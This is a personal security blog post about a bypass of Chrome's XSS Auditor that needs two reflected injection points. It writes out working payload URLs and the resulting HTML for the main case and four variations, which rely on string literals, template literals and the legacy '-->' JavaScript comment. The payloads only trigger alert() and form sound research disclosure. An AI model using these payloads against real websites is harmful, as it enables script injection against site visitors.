pythech's Blog

Not a hacker blog

Yet Another Chrome XSS Auditor Bypass

I don’t know if this variation is known publicly or not, but I found it by myself so I thought it was worth telling. This one requires two parameters to be injected. So that’s not terribly useful, but still I’ve seen this pattern more than once. Examples below assume two different parameters are injected but, as you will see it’s also possible when the same parameter is injected, twice.

1
<a href="https://example.com/login?paramOne=<?= $_GET['a'] ?>&paramTwo=<?= $_GET['b'] ?>&paramThree">

This example is actually taken from a real website (simplified, of course). I’ve since reported the issue but the website owner said they won’t fix it for unknown reasons, sadly.

The most straightforward way to inject would be adding event handlers (onerror etc.) but due to the auditor’s blocking, we have to skip that. Instead actually we’ll inject <script> tags and it’s that easy.

Let’s try setting parameter a to "><script>, resulting in this:

1
<a href="https://example.com/login?paramOne="><script>&paramTwo=&paramThree">

demo

Suprisingly, Chrome doesn’t detect this as an issue, I thought this vector was one the first things you’d try but apparently not. Let’s go further, this <script> tag is not closed, let’s try that:

xss.php?a="><script>&b=</script>

1
<a href="https://example.com/login?paramOne="><script>&paramTwo=</script>&paramThree">

demo

We now get Uncaught SyntaxError: Unexpected token & in the console. It now seems evident that this is an edge case that Chrome is unable to reason about.

&paramTwo= is causing us trouble. We could in fact try to comment it out with /* */ but Chrome detects that as an issue. An alternative to that would be //, but again it’s detected. One last chance, why not make it a string? It actually works and frankly, I guess this is the crux of the bypass.

xss.php?a="><script>"&b=";</script>

1
<a href="https://example.com/login?paramOne="><script>"&paramTwo=";</script>&paramThree">

demo

The error is gone and we still bypass the auditor. Final moments, let’s try some code injection.

xss.php?a="><script>"&b=";alert('xss')</script>

1
<a href="https://example.com/login?paramOne="><script>"&paramTwo=";alert('xss')</script>&paramThree">

demo

This bypass works on Google Chrome v62 and Safari v11.0.1, both are the latest versions at the time of this writing. Internet Explorer 11 and Edge seem to be immune.

Variations

There are some variations to this, the scenario above is what I’ve seen in real life, but it seems the injection doesn’t have to be inside an attribute. All we need is two XSS injections in the same page. I admit it’s not that useful but again I didn’t see it on the blogs before.

Variation 1

1
<?= $_GET['a'] ?><?= $_GET['b'] ?>

Bypass: xss2.php?a=<script>"&b=";alert('xss')</script>

demo

This is actually what confuses Chrome, if we don’t inject double quotes ("), XSS Auditor complains but somehow adding empty strings fools it.

Variation 2

1
2
3
<?= $_GET['a'] ?>

<?= $_GET['b'] ?>

Bypass: xss3.php?a=<script>"\&b=";alert('xss')</script>

demo

Using ES5 feature to make multiline strings.

Variation 3

1
2
3
4
5
Results for a: <?= $_GET['a'] ?>

Results for c: <a id='test' href="https://example.com">test</a>
<img src='https://example.com/favicon.ico'>
Results for b: <?= $_GET['b'] ?>

Bypass: xss4.php?a=<script>`&b=`;alert('xss')</script>

demo

This time we had to use the ES6 feature called template literals that supports multiline strings natively. Unless you’re not terribly unlucky, this will escape everything in between the two injections. Problems can arrise if there is a closing </script> tag or ${} or even the backtick (`) itself between them.

Variation 4

1
2
3
4
5
Results for a: <?= $_GET['a'] ?>

Results for c: <a id='test' href="https://example.com">test</a>
<img src='https://example.com/favicon.ico'>
Results for b: <?= $_GET['a'] ?>

Bypass: xss5.php?a=`;alert('xss')</script><script>`

demo

This time the same parameter is used twice, we can still bypass it though. The basics are the same, first create a <script>` in the first injection point. Then inject `;//code goes here again. HTML between the two points will be ignored. Then close it with </script> so that Chrome executes it.

Update

While working with the original sample, I remembered that there are actually two more ways to create a javascript comment. In javascript apparently you can do a one-line comment using either <!-- or more surprisingly -->. And the rules for them differ too. Here is the spec.

Typically used like this:

1
2
3
4
5
<script>
//<!--
alert("code goes here");
//-->
</script>

or

1
2
3
4
5
<script>
<!--
alert("code goes here");
-->
</script>

Most people don’t know about --> case though so I’ve also seen this:

1
2
3
4
5
<script>
<!--
alert("code goes here");
//-->
</script>

These are legacy features from a distant past to protect against browsers that couldn’t understand javascript so you could safely comment out the code, using HTML comments of course. Legacy strikes again.

Here is an explanation about how they work:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 1. You can use <!-- for single-line comments
//    You cannot comment it out with --> unlike HTML
//    Only Line-Break works.
//    It is equivalent to //

alert(1); <!-- HTML-like comment --> this actually doesn't work

// 2. Next we have --> which is a bit more confusing.
//    Like <!-- it is also a single-line comment.
//    However it is not equivalent to //
//    It only comments out under these circumtances

--> Sample 1: At the start of the line (whitespace is ignored)

/* Sample 2 */ --> After a single-line C-style comment

/* 
 * Sample 3
 */ --> After a multi-line C-style comment

 /*
  * Sample 4
  */ /* foo */ --> After a multi-line and single-line comment (can chain like this)

alert(2); --> This one is not treated as a comment

Admittedly, the fact that you can chain C-style comments with --> is interesting enough but that’s not really useful. It’s something to keep in mind though, it may prove useful some time.

So now you know --> is a bit special and if we get back to the case where I said neither commenting out with /* */ or // works, we have two more options.

In this case <!-- doesn’t work either but --> acts differently and it actually works.

1
2
<a href="https://example.com/login?paramOne="><script>-->&paramTwo=
alert('xss')</script>&paramThree">

Bypass: xss.php?a=<script>-->&b=%0aalert('xss')</script>

demo